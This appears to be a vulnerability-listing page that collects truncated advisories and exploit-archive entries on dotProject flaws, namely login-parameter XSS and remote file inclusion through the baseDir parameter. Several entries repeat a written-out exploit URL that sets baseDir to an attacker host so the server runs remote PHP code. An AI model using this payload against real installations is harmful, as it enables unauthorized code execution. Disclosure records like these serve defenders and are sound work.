CVE-2007-3226

dotProject contains a cross-site scripting (XSS) vulnerability affecting versions before 2.1 RC2. Public descriptions reference an XSS in the login path (dotProject 2.0.3 and earlier) via an unspecified vector, and another description notes XSS in 2.1 RC2 addressed by an update. Several sources c...

CVE-2007-3226: Undefined Security Weakness

Cross-site scripting XSS vulnerability in dotProject before 2.1 RC2 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors, a different vulnerability than CVE-2006-2851 and CVE-2006-3240...

JVN#63602912 dotProject cross-site scripting vulnerability

This vulnerability is different from JVN97636431. Impact An arbitrary script may be executed on the user's web browser. In particular, if session information from a cookie is leaked, session hijacking could be conducted. Solution Update the Software The developer has released dotProject version 2...

DotProject Query.Class.PHP远程文件包含漏洞

DotProject是一款基于PHP的WEB应用程序。 DotProject不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是'Query.Class.PHP'脚本对用户提交的'baseDir'参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 Dotproject Dotproject 2.0.4 Dotproject Dotproject 2.0.3 Dotproject Dotproject 2.0.1 Dotproject Dotproject 2.0 NO...

dotProject <= 2.0.4 (baseDir) Remote File Include Vulnerability

No description provided by source. / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - dotProject = 2.0.4 baseDir Remote File Include Vulnerabilities + - Script name: dotProject v. 2.0.4 - Script site: http://www.dotproject.net/ + + + - Find by: Kacper a.k.a Rahim + - Contact:...

CVE-2006-4234

PHP remote file inclusion vulnerability in classes/query.class.php in dotProject 2.0.4 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the baseDir parameter...

CVE-2006-4234

CVE-2006-4234 affects dotProject up to version 2.0.4: PHP remote file inclusion via the baseDir parameter in classes/query.class.php may allow an attacker to execute arbitrary PHP code. The description and connected sources confirm the vulnerability exists exploitable through crafted URLs; howeve...

CVE-2006-4234

PHP remote file inclusion vulnerability in classes/query.class.php in dotProject 2.0.4 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the baseDir parameter...

CVE-2006-4234: Undefined Security Weakness

PHP remote file inclusion vulnerability in classes/query.class.php in dotProject 2.0.4 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the baseDir parameter...

dotProject <= 2.0.4 (baseDir) Remote File Include Vulnerability

Exploit for unknown platform in category web applications =============================================================== dotProject = 2.0.4 baseDir Remote File Include Vulnerability =============================================================== / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + ...

dotProject 2.0.4 - baseDir Remote File Inclusion

dotProject 2.0.4 - baseDir Remote File Inclusion / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - dotProject = 2.0.4 baseDir Remote File Include Vulnerabilities + - Script name: dotProject v. 2.0.4 - Script site: http://www.dotproject.net/ + + + - Find by: Kacper a.k.a Rahim + - Contact:...

dotProject 2.0.4 - 'baseDir' Remote File Inclusion

/ + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - dotProject = 2.0.4 baseDir Remote File Include Vulnerabilities + - Script name: dotProject v. 2.0.4 - Script site: http://www.dotproject.net/ + + + - Find by: Kacper a.k.a Rahim + - Contact: [email protected] - or -...

CVE-2006-3240

CVE-2006-3240 is an XSS vulnerability in dotProject prior to 2.0.4 (2.0.3 and earlier) affecting the login flow via the login parameter in classes/ui.class.php. The underlying issue is a cross-site scripting exposure that could allow remote attackers to inject arbitrary script/HTML into a user’s ...

PT-2006-4135 · Dotproject · Dotproject

Name of the Vulnerable Software and Affected Versions: dotProject versions 2.0.3 and earlier Description: The issue is related to a cross-site scripting XSS vulnerability. This vulnerability allows remote attackers to inject arbitrary web script or HTML via the login parameter. Recommendations: F...

CVE-2006-3240: Improper Neutralization of Input During Web Page Generation

Cross-site scripting XSS vulnerability in classes/ui.class.php in dotProject 2.0.3 and earlier allows remote attackers to inject arbitrary web script or HTML via the login parameter...

JVN#39188922 dotProject cross-site scripting vulnerability

Impact An arbitrary script may be executed on the user's web browser. In particular, if session information from a cookie is leaked, an attacker could possibly conduct session hijacking. Solution Products Affected dotProject 2.0.3 and earlier...

dotProject &lt;= 2.0.3 (baseDir) Remote File Inclusion Vulnerability

No description provided by source. Credits : h4ntu Title : dotProject = 2.0.3 Remote File Inclusion URL : http://www.dotproject.net/ Exploit : http://target.com/dotProjectpath/includes/dbadodb.php?baseDir=attacker milw0rm.com 2006-06-20...

dotProject <= 2.0.3 (baseDir) Remote File Inclusion Vulnerability

Exploit for unknown platform in category web applications ================================================================= dotProject = 2.0.3 baseDir Remote File Inclusion Vulnerability ================================================================= Credits : h4ntu Title : dotProject = 2.0.3...

dotProject 2.0.3 - baseDir Remote File Inclusion

dotProject 2.0.3 - baseDir Remote File Inclusion Credits : h4ntu Title : dotProject = 2.0.3 Remote File Inclusion URL : http://www.dotproject.net/ Exploit : http://target.com/dotProjectpath/includes/dbadodb.php?baseDir=attacker milw0rm.com 2006-06-20...

dotProject 2.0.3 - 'baseDir' Remote File Inclusion

Credits : h4ntu Title : dotProject = 2.0.3 Remote File Inclusion URL : http://www.dotproject.net/ Exploit : http://target.com/dotProjectpath/includes/dbadodb.php?baseDir=attacker milw0rm.com 2006-06-20...